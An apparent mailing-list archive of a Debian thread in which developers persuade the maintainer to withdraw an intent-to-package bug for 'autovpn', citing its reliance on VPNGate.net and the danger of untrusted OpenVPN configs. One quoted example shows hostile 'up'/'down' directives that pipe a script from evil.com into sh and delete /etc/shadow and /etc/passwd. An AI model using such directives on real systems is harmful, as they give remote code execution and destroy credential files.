Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

2018-02-20 Thread Gunnar Wolf
Michael Meskes dijo [Mon, Feb 19, 2018 at 12:44:40PM +0100]: > > I'd strongly urge you to reconsider packaging this project, for > > three main reasons: > > > > * It relies upon the external VPNGate.net site/service. If this > > goes away in the lifetime of a stable Debian release users

Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

2018-02-19 Thread Michael Meskes
> Yes. For example these snippets will do what you fear they will: > > script-security 2 > up curl http://evil.com/root-me.sh | sh > up rm /etc/shadow > down rm -f /etc/passwd I just looked into the code myself and have to say you got me convinces. I rescind my ITP and close

Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

2018-02-19 Thread Michael Stone
On Mon, Feb 19, 2018 at 10:49:40AM +, Steve Kemp wrote: I'd strongly urge you to reconsider packaging this project, for three main reasons: It's almost a case study of why we don't need to package everything in the whole world... Mike Stone

Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

2018-02-19 Thread Steve Kemp
On Mon Feb 19, 2018 at 12:44:40 +0100, Michael Meskes wrote: > > * It relies upon the external VPNGate.net site/service. If this > > goes away in the lifetime of a stable Debian release users will > > be screwed. > > That is actually a good point. I wonder if using a local copy might

Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

2018-02-19 Thread Michael Meskes
> I'd strongly urge you to reconsider packaging this project, for > three main reasons: > > * It relies upon the external VPNGate.net site/service. If this > goes away in the lifetime of a stable Debian release users will > be screwed. That is actually a good point. I wonder if

Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

2018-02-19 Thread Steve Kemp
> Version : 0.0~git20170129.72dd7f6-1 > Upstream Author : Adhityaa C > * URL : https://github.com/adtac/autovpn .. > autovpn is a tool to automatically connect you to a random VPN > in a country of your choice. It uses openvpn to connect you to a

Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

2018-02-19 Thread Michael Meskes
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: autovpn Version : 0.0~git20170129.72dd7f6-1 Upstream Author : Adhityaa C * URL : https://github.com/adtac/autovpn * License : GPL V3 Programming